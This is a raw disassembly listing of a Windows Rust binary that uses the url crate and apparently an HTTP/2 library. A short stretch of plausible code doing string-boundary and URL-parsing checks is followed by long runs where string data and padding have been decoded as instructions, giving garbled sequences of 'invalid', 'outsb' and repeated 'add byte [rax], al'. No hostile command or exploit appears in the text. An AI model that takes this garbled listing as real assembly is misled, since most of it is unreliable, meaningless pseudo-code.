jmp 0x1400ffc75
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rbp
mov rdx, r15
mov r8, r13
mov r9, rbx
call fcn.1401087e0
mov byte [rsp + 0x2f], 9
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x140171e28]
lea r8, [rsp + 0x2f]
mov edx, 0x2b
call fcn.140108600
call fcn.140010b00
mov ecx, 1
mov rdx, r14
call fcn.140107fc0
invalid
lea rcx, str.assertion_failed:_self.is_char_boundary_new_len_
lea r8, [0x140172068]
mov edx, 0x30
call fcn.140108350
int3
test eax, eax
je 0x1400ffdd3
cmp rsi, r8
jbe 0x1400ffdd1
cmp byte [rdi + r8], 0xc0
jge 0x1400ffdd3
jmp 0x1400ffde4
push rsi
jne 0x1400ffde4
test r9d, r9d
test ecx, ecx
je 0x1400ffdfd
cmp rsi, r9
jbe 0x1400ffdfb
cmp byte [rdi + r9], 0xbf
jg 0x1400ffdfd
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
call fcn.1401087e0
jne 0x1400ffde4
cmp r9d, r8d
jne 0x1400ffe27
lea rax, [rdi + r8]
sub r9, r8
mov edx, 1
mov r14, rcx
mov rcx, rax
mov r8, r9
call fcn.1401068d0
mov rcx, r14
test eax, eax
je 0x1400fff4b
mov r15d, dword [rcx + 0x2c]
test r15, r15
je 0x1400ffe81
cmp rsi, r15
jbe 0x1400ffe59
cmp byte [rdi + r15], 0xbf
jg 0x1400ffe5b
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov qword [rsp + 0x20], rax
mov rcx, rdi
mov rdx, rsi
xor r8d, r8d
mov r9, r15
call fcn.1401087e0
jne 0x1400ffe3c
cmp r15d, 4
jne 0x1400ffe81
lea rdx, [0x14017231c]
mov r14, rcx
mov rcx, rdi
mov r8, r15
call fcn.1401068d0
mov rcx, r14
test eax, eax
je 0x1400fff4b
mov r14d, dword [rcx + 0x30]
cmp rsi, r14
jbe 0x1400fff5b
cmp byte [rdi + r14], 0x3a
jne 0x1400fff49
mov r12d, dword [rcx + 0x34]
lea ebx, [r12 - 1]
cmp rsi, rbx
jbe 0x1400fff6d
lea eax, [r15 + 3]
cmp eax, r14d
cmove ebx, r12d
mov edx, ebx
cmp ebx, r14d
jb 0x1400fff7f
mov r15, rsi
sub r15, rdx
jb 0x1400fff8e
test ebx, ebx
je 0x1400ffee0
cmp rsi, rdx
jbe 0x1400ffee0
cmp byte [rdi + rdx], 0xbf
jle 0x1400fffa0
lea rax, [rdi + r14]
add rdi, rdx
sub ebx, r14d
jb 0x1400fff19
mov qword [rcx + 0x10], r14
jne 0x1400ffef9
cmp rsi, r14
jne 0x1400fff12
cmp rsi, rdx
je 0x1400fff19
sub r12d, ebx
mov dword [rcx + 0x34], r12d
movq xmm0, qword [rcx + 0x38]
movd xmm1, ebx
pshufd xmm1, xmm1, 0x50
psubd xmm0, xmm1
movq qword [rcx + 0x38], xmm0
cmp dword [rcx + 0x18], 0
je 0x1400fff40
sub dword [rcx + 0x1c], ebx
cmp dword [rcx + 0x20], 0
je 0x1400fff49
xor ebx, ebx
mov eax, ebx
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov rcx, r14
mov rdx, rsi
call fcn.1401082d0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001furl_2.5.0_srclib.rs
mov rcx, rbx
mov rdx, rsi
call fcn.1401082d0
lea r8, [0x140171f90]
mov rcx, r14
call fcn.140108530
lea r8, [0x140171f90]
mov rcx, rdx
mov rdx, rsi
call fcn.140108340
lea rcx, str.assertion_failed:_self.is_char_boundary_end_
lea r8, [0x140172020]
mov edx, 0x2c
call fcn.140108350
int3
or dword [rax], eax
invalid
or dword [rax - 0x18825e3c], r8d
or dword [rax - 0x18825e3c], r12d
vmovntdq ymmword [rcx + r9 - 0x40], ymm0
vmovdqu ymmword [rcx + r8 - 0x20], ymm0
vmovdqu ymmword [rax], ymm0
sfence
vzeroupper
ret
movdqa xmmword [rcx], xmm0
movdqa xmmword [rcx + 0x10], xmm0
movdqa xmmword [rcx + 0x20], xmm0
movdqa xmmword [rcx + 0x30], xmm0
movdqa xmmword [rcx + 0x40], xmm0
movdqa xmmword [rcx + 0x50], xmm0
movdqa xmmword [rcx + 0x60], xmm0
movdqa xmmword [rcx + 0x70], xmm0
add rcx, 0x80
sub r8, 0x80
sub eax, 0x80
sub eax, 0x80
cmp r8, 0x80
jae 0x140106cc0
lea r9, [r8 + 0xf]
and r9, 0xfffffffffffffff0
mov r11, r9
shr r11, 4
mov r11d, dword [r10 + r11*4 + 0x17a8b8]
add r11, r10
jmp r11
je 0x1401153f6
invalid
jb 0x14011541c
outsb dx, byte [rsi]
outsd dx, dword [rsi]
cmp ah, byte [rax]
imul esp, dword fs:[rax + riz + 0x6e], 0x7220746f
je 0x14011542f
jb 0x14011542a
and byte [rcx + 0x20], ah
jo 0x140115430
jae 0x14011542c
je 0x14011542e
jbe 0x14011542c
and byte [rsi + 0x61], dh
insb byte [rdi], dx
jne 0x140115432
jne 0x14011543d
js 0x140115442
invalid
push rbx
invalid
push r11
and byte [rbx + 0x65], dl
invalid
push rdx
je 0x140115482
outsb dx, byte gs:[rsi]
push rdx
invalid
outsd dx, dword fs:[rsi]
insd dword [rdi], dx
cmp ah, byte [rax]
push rdi
imul ebp, dword [rsi + 0x64], 0x2073776f
jae 0x1401154a4
jns 0x14011549f
jae 0x1401154a1
je 0x140115493
insd dword [rdi], dx
insd dword [rdi], dx
and byte [rsi + 0x75], ah
jne 0x1401154a1
outsb dx, byte [rsi]
invalid
jne 0x1401154b1
push rdx
push rdx
push rdx
push rdx
cmp r12b, byte [rax]
invalid
push rdx
push rdx
cmp r12b, byte [rax]
imul ebp, dword [rsi + 0x73], 0x63757274
je 0x1401154e9
outsd dx, dword [rsi]
outsb dx, byte [rsi]
and byte [rsi + 0x6f], ch
je 0x1401154a7
jae 0x1401154fe
jo 0x1401154fb
outsd dx, dword [rsi]
jb 0x140115502
push rdi
push rdi
invalid
and byte [rbx + 0x72], al
jns 0x140115508
je 0x140115509
and byte [rcx + 0x50], al
and byte [r9 + 0x73], bpl
imul esi, dword [rbx + 0x20], 0x76616e75
invalid
and byte [rbp + 0x6e], dh
invalid
imul ebp, dword [rcx + riz*2 + 0x62], 0x6143656c
insb byte [rdi], dx
insb byte [rdi], dx
invalid
imul ebp, dword [rsi + 0x67], 0x62655720
and byte [rcx + 0x50], al
and byte [r11 + 0x72], spl
jns 0x140115531
je 0x140115532
je 0x14011551a
invalid
jb 0x14011553d
outsb dx, byte [rsi]
push rbx
invalid
outsd dx, dword [rsi]
jb 0x140115557
jae 0x14011550e
push rdx
and byte [r13 + 0x6f], r13b
jne 0x140115563
and byte gs:[rcx + 0x73], ch
and byte [rsi + 0x6f], ch
je 0x140115520
imul ebp, dword [rsi + 0x69], 0x6c616974
imul edi, dword [rdx + 0x65], 0x646f4e64
outsd dx, dword [rsi]
invalid
imul esi, dword [rcx + rbp*2 + 0x61], 0x657a696c
jp 0x14011556f
outsd dx, dword fs:[rsi]
outsd dx, dword fs:[rsi]
outsd dx, dword [rsi]
push 0x73
push 0x73
and byte [rbx + 0x72], ah
jns 0x140115587
je 0x140115588
and byte [rbx + 0x6f], al
outsd dx, dword [rsi]
insd dword [rdi], dx
insd dword [rdi], dx
outsd dx, dword [rsi]
outsb dx, byte [rsi]
push rbx
and byte [rbp + 0x6f], ch
jne 0x140115594
and byte gs:[rcx + 0x73], ch
and byte [rbp + 0x6e], dh
invalid
invalid
imul ebp, dword [rcx + riz*2 + 0x62], 0x6143656c
insb byte [rdi], dx
insb byte [rdi], dx
imul ebp, dword [rsi + 0x67], 0x646f4e20
push 0x73
invalid
outsb dx, byte [rsi]
and byte [esi + 0x6f], cl
push 0x73
and byte [rcx + 0x50], al
and byte [r11 + 0x72], spl
jns 0x1401155c0
je 0x1401155c1
jb 0x1401155b6
outsb dx, byte [rsi]
outsd dx, dword fs:[rsi]
outsd dx, dword [rsi]
insd dword [rdi], dx
imul r13d, dword [rsp + r13*2 + 0x53], 0x20636e79
invalid
invalid
outsd dx, dword [rsi]
push 0x73
and byte [rbp + 0x53], al
and byte [rbp + 0x6f], ch
jne 0x1401155e4
jae 0x14011559b
invalid
invalid
je 0x1401155f6
jns 0x1401155ac
jae 0x140115603
jo 0x140115600
outsd dx, dword [rsi]
jb 0x140115607
sub al, 0x20
sub al, 0x20
jae 0x1401155fe
and byte gs:[rax + 0x74], ch
je 0x14011560f
push 0x73707474
cmp ch, byte [rdi]
invalid
jae 0x1401155db
invalid
je 0x140115621
invalid
outsd dx, dword [rsi]
push 0x73
sub eax, 0x6d2d7365
outsd dx, dword [rsi]
jne 0x140115630
sub eax, 0x70707573
outsd dx, dword [rsi]
jb 0x140115641
add byte [rax], al
add al, al
xor dword [rax], eax
add dword [rax], eax
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0xb], dl
add dword [rax + 1], eax
add byte [rax], al
add al, al
xor dword [rax], eax
add byte [rax], al
add byte [rax], al
push rax
or eax, dword [rcx]
add dword [rax], eax
add byte [rax], al
sal byte [rcx], 0
add dword [rax], eax
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jo 0x140115615
add byte [rax], al
add byte [rax], al
add byte [rax + 0xb], dh
add dword [rax + 1], eax
add byte [rax], al
add byte [rax + 0xb], dl
add dword [rax + 1], eax
add byte [rax], al
add al, dl
push rbp
adc dword [rax + 1], eax
add byte [rax], al
add byte [rax + 0x1400045], dl
add byte [r8 + 1], r8b
add byte [rax], al
add al, al
add byte [r8 + 1], r8b
add byte [rax], al
add byte [rax + 0xb], al
add dword [rax + 1], eax
add byte [rax], al
add byte [rax + 0x1400045], dl
or eax, dword [rcx]
add dword [rax], eax
add byte [rax], al
nop
add byte [r8 + 1], r8b
add byte [rax], al
add byte [rax + 0x6d], ah
insd dword [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax + 0x6d], ah
add byte [rax + 1], al
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], dl
fild dword [rcx]
add dword [rax], eax
add byte [rax], al
jo 0x140115645
add dword [rax + 1], eax
add byte [rax], al
add al, al
xor dword [rax], eax
add dword [rax], eax
add byte [rax], al
sbb byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
jo 0x1401156f3
cmovo eax, dword [rcx]
add byte [rax], al
add byte [rax - 0x59], al
add dword [rax + 1], eax
add byte [rax], al
add byte [rax - 0x58], ah
add dword [rax + 1], eax
add byte [rax], al
add byte [rax + 0x6d], ah
add byte [rax + 1], al
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
push rax
or dword [rdx], eax
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400d0d], dl
add byte [rax], al
add byte [rax + 0x140035f], dl
add byte [rax], al
add byte [rax], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, dl
ja 0x14011571f
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax + 0x6d], ah
add byte [rax + 1], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 7], al
add dword [rax + 1], eax
add byte [rax], al
add byte [rax + 0x6d], ah
add byte [rax + 1], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x1400024], dh
add byte [rax], al
add byte [rax + 0x6d], ah
add byte [rax + 1], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, dh
add al, byte [rdx]
add dword [rax], eax
add byte [rax], al
add byte [rdi + 2], 0x40
add dword [rax], eax
add byte [rax], al
and byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movabs al, byte [0xc800000001400247]
invalid
imul ebp, dword [rsi + 0x61], 0x76697463
and byte gs:[rbx + 0x74], dh
jb 0x140115c1a
invalid
jne 0x140115c27
js 0x140115c2c
invalid
jo 0x140115c2f
jns 0x140115c3c
outsd dx, dword [rsi]
invalid
jb 0x140115c42
push 0x65
invalid
jb 0x140115c4a
insb byte [rdi], dx
invalid
jae case.0x14001a414.64
jb 0x140115c64
invalid
insd dword [rdi], dx
invalid
invalid
jb 0x140115c87
jno 0x140115c99
jae 0x140115c9b
and byte [rbp + 0x52], dl
and byte [r13 + 0x69], bpl
jae 0x140115ca3
insd dword [rdi], dx
imul esi, dword [rbx + 0x73], 0x20676e69
jae 0x140115c99
jae 0x140115c9a
imul ebp, dword [rsi + 0x67], 0x68637320
insd dword [rdi], dx
and byte gs:[rcx + 0x6e], ah
outsb dx, byte [rsi]
and byte [ebx + 0x63], dh
push 0x20656d65
invalid
outsb dx, byte [rsi]
and byte fs:[rcx + 0x75], ah
je 0x140115cab
push 0x7469726f
jns 0x140115cb9
invalid
outsd dx, dword [rsi]
jb 0x140115caf
je 0x140115cc1
jo 0x140115cb9
outsd dx, dword [rsi]
insb byte [rdi], dx
insb byte [rdi], dx
pop rdi
jb 0x140115cb4
jae 0x140115cb6
je 0x140115c73
invalid
jae 0x140115ccb
and byte [rcx + 0x73], ch
and byte [rcx + 0x6c], ch
insb byte [rdi], dx
invalid
jae 0x140115cd8
outsb dx, byte [rsi]
pop rdi
jo 0x140115ce1
outsb dx, byte [rsi]
and byte [edx + 0x65], ah
outsw dx, word [rsi]
jb 0x140115ce6
and byte [rdx + 0x65], dh
invalid
jbe 0x140115cee
and byte fs:[rax + 0x72], dh
jbe 0x140115cf9
outsd dx, dword [rsi]
jne 0x140115d06
and byte [rax + 0x6f], dh
outsb dx, byte [rsi]
jae 0x140115cff
jae 0x140115cff
jae 0x140115cff
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
imul ebp, dword fs:[rsi + 0x67], 0x54455320
push rsp
push r11
and byte [rdx + 0x65], ah
outsw dx, word [rsi]
jb 0x140115d14
and byte [rdx + 0x65], dh
invalid
imul esi, dword [rsi + 0x65], 0x72702064
and byte fs:[rax + 0x72], dh
jo 0x140115d2d
jbe 0x140115d27
outsd dx, dword [rsi]
jne 0x140115d34
and byte [rcx + 0x43], al
jae 0x140115d2c
jae 0x140115d2c
jae 0x140115d2c
outsb dx, byte [rsi]
imul ebp, dword fs:[rsi + 0x67], 0x53555020
and byte [eax + 0x55], dl
push rbx
pop rdi
push rax
push rdx
push r11
and byte [r15 + rbp*2 + 0x20], r14b
jo 0x140115d44
jb 0x140115d02
and byte [rdi + 0x68], dh
ja 0x140115d4c
outsd dx, dword [rsi]
and byte [rcx + rbp*2 + 0x73], ah
invalid
imul esi, dword fs:[rbx + 0x61], 0x64656c62
and byte [rbx + 0x65], dh
jb 0x140115d69
jb 0x140115d16
jo 0x140115d6d
jae 0x140115d62
push 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rdi], ah
fst dword [rbx]
add dword [rax], eax
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
outsb dx, byte [rsi]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bl, dh
add byte [rax], al
add byte [0x167115d19], dh
xor eax, 0x27000000
add byte [rax], al
invalid
fst dword [rbx]
add dword [rax], eax
add byte [rax], al
outsb dx, byte [rsi]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add ah, bl
add byte [rax], al
add byte [rsi], dh
add byte ss:[rax], al
add byte [rax], al
add byte [rdi], ah
fst dword [rbx]
add dword [rax], eax
add dword [rax], eax
add byte [rax], al
outsb dx, byte [rsi]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbp + 0x39000000], dh
add byte [rax], al
add byte [rdi], ah
fst dword [rbx]
add dword [rax], eax
cmp dword [rax], eax
add byte [rax], al
invalid
add dword [rax], eax
add byte [rax], al
outsb dx, byte [rsi]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + 0x35000000], bh
add byte [rax], al
add byte [rdi], ah
fst dword [rbx]
add dword [rax], eax
add byte [rax], al
outsb dx, byte [rsi]
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rsi], ch
add byte [rax], al
add byte [rax], al
add byte [rax], al
in al, 0
add byte [rax], al
xor dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add ah, ah
add byte [rax], al
add byte [rcx], dh
add byte [rax], al
add byte [rdi], ah
fst dword [rbx]
add dword [rax], eax
add byte [rax], al
outsb dx, byte [rsi]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, al
add byte [rax], al
add byte [0x167115d91], bh
fst dword [rbx]
add dword [rax], eax
add byte [rax], al
outsb dx, byte [rsi]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx], ch
add dword [rax], eax
add byte [0x1b3115da9], dh
jae 0x140115e1e
invalid
invalid
add byte [rax], al
add byte [rdi], dl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x6f], ah
invalid
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [rsi]
invalid
outsb dx, byte [rsi]
outsd dx, dword [rsi]
je 0x1401289f4
invalid
jne 0x140128a58
jae 0x140128a5c
invalid
jb 0x140128a65
je 0x140128a67
invalid
jne 0x140128a7a
js 0x140128a7f
invalid
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x140128a61
invalid
jae case.0x14001a414.36
je 0x140128ac5
imul ebp, dword [rsi + 0x67], 0x43412073
and byte [r14 + 0x6f], bpl
je 0x140128a7e
jb 0x140128ac5
invalid
imul esi, dword gs:[rsi + 0x65], 0x6e692064
and byte fs:[rcx + 0x6e], ch
imul ebp, dword [rsi + 0x20], 0x656d6974
insb byte [rdi], dx
and byte [rcx + rbp*2 + 0x6d], dh
insb byte [rdi], dx
jns 0x140128a91
insd dword [rdi], dx
invalid
jb 0x140128ade
invalid
imul esi, dword gs:[rsi + 0x65], 0x72662064
and byte fs:[rsi + 0x72], ah
and byte [rsi + 0x72], ah
invalid
and byte [rax + 0x61], ch
insb byte [rdi], dx
sub ax, 0x6c63
outsd dx, dword [rsi]
jae case.0x14001a414.38
jb case.0x14001a414.38
jb case.0x14001a414.38
insd dword [rdi], dx
and byte gs:[rdi + 0x69], dh
je 0x140128b0f
and byte [rcx + 0x6e], ch
jbe 0x140128b0d
insb byte [rdi], dx
imul esp, dword [rax + riz + 0x73], 0x72657a69
jb 0x140128b1b
jne 0x140128b2c
jb 0x140128b1b
jne 0x140128b2c
and byte fs:[rbx + 0x74], dh
jb 0x140128b25
invalid
outsw dx, word [rsi]
jb 0x140128b2e
and byte [rax + 0x72], dh
outsd dx, dword [rsi]
invalid
invalid
jae 0x140128b60
jb 0x140128b53
invalid
jne 0x140128b71
invalid
imul ebp, dword [rsi + 0x74], 0x206e6961
je 0x140128b7e
je 0x140128b72
imul ebp, dword [rsi + 0x20], 0x20656874
push 0x65646165
jb 0x140128b3f
and byte gs:[rax + 0x65], ch
invalid
jb 0x140128b3f
invalid
jae 0x140128b9a
imul ebp, dword [rdi + 0x6e], 0x6e6f6320
outsd dx, dword [rsi]
outsb dx, byte [rsi]
je 0x140128b95
js 0x140128ba6
invalid
je 0x140128ba2
invalid
and byte gs:[rdi + rbp*2 + 0x20], dh
invalid
push rsp
and byte [rdx + 0x65], dh
jno 0x140128bdb
jae 0x140128bdd
and byte [rdi + 0x61], dh
jae 0x140128b8e
jb 0x140128bd5
jae 0x140128bd7
je 0x140128b94
je 0x140128b94
outsd dx, dword [rsi]
jb 0x140128b97
invalid
insb byte [rdi], dx
insb byte [rdi], dx
jns 0x140128ba2
invalid
je 0x140128bf1
invalid
and byte fs:[rbp + 0x78], ah
invalid
jae 0x140128c0a
jae 0x140128c0a
imul esi, dword [rsi + 0x65], 0x616f6c20
and byte [rdi + rbp*2 + 0x61], ch
and byte fs:[rdi + 0x65], ah
outsb dx, byte [rsi]
jb 0x140128c07
je 0x140128c11
outsb dx, byte [rsi]
and byte [edx + 0x65], ah
push 0x6f697661
jb 0x140128c27
invalid
jae 0x140128c1a
invalid
invalid
outsb dx, byte [rsi]
imul ebp, dword [rbp + 0x75], 0x6572206d
insd dword [rdi], dx
jne 0x140128c47
and byte [rdx + 0x65], dh
jb 0x140128c42
jno 0x140128c54
imul esi, dword [rdx + 0x65], 0x746e656d
jae 0x140128c4d
invalid
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
jo 0x140128c5b
imul ebp, dword [rsi + 0x74], 0x71657220
jne 0x140128c5e
jno 0x140128c69
imul esi, dword [rdx + 0x65], 0x54482073
jb 0x140128c5c
jae 0x140128c19
push rsp
push rsp
push rax
invalid
outsb dx, byte [rsi]
and byte [rdx + 0x65], dh
invalid
invalid
pop r15
pop rdi
push r10
push rdx
push r10
push rax
push rdx
push r12
push rsp
pop rdi
push r10
push rdx
push r10
push rsp
push rsp
push r10
pop rdi
push r10
push rdx
push r10
push r15
pop rdi
push rsp
push rdx
pop rdi
push r10
push rdx
push r10
push rbx
push r12
push rsp
push rsp
push r11
pop rdi
push rsp
push r13
push rsp
push rbx
push rsp
push rdx
pop r15
pop rdi
push r11
push r11
push rdx
push rdx
pop r15
push rbx
pop r10
pop r15
push r10
push rdx
push r10
push rdx
push rbp
push rbx
pop rdi
push rbx
push rsp
push rdx
push r8
push r8
push r8
push r8
push rdx
push r11
push rbx
pop rdi
push r10
push rdx
push r10
push r12
pop rdi
push r10
push rdx
push r10
pop r15
pop rcx
push r13
push rdx
pop rdi
push r9
push r9
push r9
push rbp
push r12
pop r15
push rbx
push r13
push rdx
push r12
pop rcx
push rsp
push rsp
push rax
pop rdi
xor dword [rdi + 0x31], ebx
pop rdi
push rdx
push r9
push rbp
push r10
add byte [rax], r8b
add byte [rax], al
add byte [rax], al
add byte [rax + 0x6d], ah
add byte [rax + 1], al
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
push rbp
jae 0x14013f4a8
jb 0x14013f445
add byte [rax], al
add byte [rax + 0x6d], ah
add byte [rax + 1], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x43], al
or byte [rax + 1], al
add byte [rax], al
add byte [rcx + 0x6f], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
adc byte [rbx + 0x14008], bh
add byte [rax], al
outsb dx, byte [rsi]
jbe 0x14013f515
insb byte [rdi], dx
imul esp, dword [rbp + rdx*2 + 0x72], 0x61684369
jb 0x14013f508
outsb dx, byte [rsi]
jbe 0x14013f523
insb byte [rdi], dx
imul esp, dword [rbx + rdx*2 + 0x63], 0x656d6568
outsb dx, byte [rsi]
jbe 0x14013f530
insb byte [rdi], dx
imul esp, dword [rcx + rax*2 + 0x75], 0x726f6874
imul esi, dword [rcx + rdi*2 + 0x49], 0x6c61766e
imul esp, dword [rsi + rax*2 + 0x6f], 0x74616d72
push rbx
invalid
push 0x51646e41
jne 0x14013f574
jb 0x14013f58a
imul r14, qword [r11 + 0x73], 0x54676e69
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
imul ebp, dword [rsi + 0x67], 0x4c6f6f54
outsd dx, dword [rsi]
outsb dx, byte [rsi]
push rbx
invalid
insd dword [rdi], dx
push rsp
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsd dx, dword [rsi]
outsb dx, byte [rsi]
outsb dx, byte [esi]
jbe 0x14013f591
insb byte [rdi], dx
imul esp, dword [rbp + rdx*2 + 0x72], 0x60000069
insd dword [rdi], dx
add byte [rax + 1], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add al, ah
mov byte [0x14013f697], al
add byte [rdi + 0x75], cl
jne 0x14013f5cf
invalid
outsd dx, dword [rsi]
and byte [rdx + 0x6f], ah
jne 0x14013f5d1
jae 0x14013f586
invalid
cmp dword [rax], edi
invalid
xor eax, 0x38653034
xor word [0x1757a2abe], si
invalid
xor ax, 0x6337
xor esi, dword [rcx]
xor dh, byte [rax]
xor al, 0x62
xor esi, dword gs:[rbx]
xor esi, dword gs:[rbx]
xor sp, word ss:[rsi + riz*2 + 0x37]
pop rsp
insb byte [rdi], dx
imul esp, dword [rdx + 0x72], 0x5c797261
invalid
cmc
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rsi], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
adc ecx, dword [rax]
add byte [rax], al
sbb al, 0
add byte [rax], al
insb byte [rdi], dx
cmc
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rsi], bl
add byte [rax], al
add byte [rax], al
add byte [rax], al
sbb al, 8
add byte [rax], al
sbb al, 0
add byte [rax], al
invalid
outsb dx, byte [rsi]
invalid
push rbp
outsb dx, byte [rsi]
js 0x14014139d
invalid
push rax
invalid
push rdx
push 0x65
invalid
push rdx
insb byte [rdi], dx
invalid
jbe 0x1401413cd
jb 0x1401413d0
insb byte [rdi], dx
outsd dx, dword [rsi]
ja 0x1401413d3
push rbx
je 0x1401413e4
invalid
invalid
imul r14, qword [r11 + 0x73], 0x55676e69
jb 0x1401413fa
push rbx
invalid
push 0x7469726f
jns 0x1401413f4
push rax
push rax
outsd dx, dword [rsi]
insb byte [rdi], dx
insb byte [rdi], dx
push rdx
jae 0x140141410
je 0x1401413ee
je 0x140141415
jb 0x140141405
outsb dx, byte gs:[rsi]
push rdx
jae 0x140141429
outsd dx, dword [rsi]
outsb dx, byte [rsi]
jae 0x140141422
push rbx
outsb dx, byte gs:[rsi]
push rax
imul ebp, dword [rsi + 0x67], 0x6c696857
push rax
outsb dx, byte gs:[rsi]
imul ebp, dword fs:[rsi + 0x67], 0x646e6553
push rbx
push rbx
push rbx
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
push rbx
je 0x14014144d
imul ebp, dword [rsi + 0x67], 0x69685773
insb byte [rdi], dx
push rax
outsb dx, byte gs:[rsi]
outsb dx, byte [rsi]
imul ebp, dword fs:[rsi + 0x67], 0x72656550
imul r14d, dword [rbx + 0x61], 0x64656c62
push rax
jb 0x140141432
imul esi, dword [rbx + 0x61], 0x64656c62
push rbx
push rbx
jb 0x14014146f
jb 0x14014144c
jb 0x14014144c
jne 0x140141471
push 0x7262694c
invalid
imul r12, qword [rdx + 0x72], 0x52797261
jns 0x140141459
push rdx
insd dword [rdi], dx
outsd dx, dword [rsi]
je 0x140141471
insb byte [rdi], dx
invalid
jae 0x140141477
add byte fs:[rax], al
add byte [rax], al
add byte [rax + 0x6d], ah
add byte [rax + 1], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rdi + 0x1400a], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
xchg dword [rdx], ecx
add dword [rax], eax
or al, byte [rax + 1]
add byte [rax], al
add al, bl
not dword [rbx]
add dword [rax], eax
add byte [rax], al
add byte fs:[rax], al
add byte [rax], al
fdiv st(7)
adc eax, dword [rax + 1]
add byte [rax], al
add byte [rax + rax], ah
add byte [rax], al
add byte [rax], al
add byte [0x14914144f], ah
or dword [rax], eax
add byte [rax], al
jo 0x1401414b8
add byte [rax], al
add byte [rdi + 0x70], cl
jo 0x1401414b8
outsb dx, byte [rsi]
outsb dx, byte [rsi]
insb byte [rdi], dx
outsd dx, dword [rsi]
jae 0x1401414be
add byte fs:[rax], al
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax + 0x14004db], dh
add byte [rax], al
add byte [rax + 0x6d], ah
add byte [rax + 1], al
add byte [rax], al
add byte [rax], cl
add byte [rax], al
add byte [rax], al
add byte [rax], al
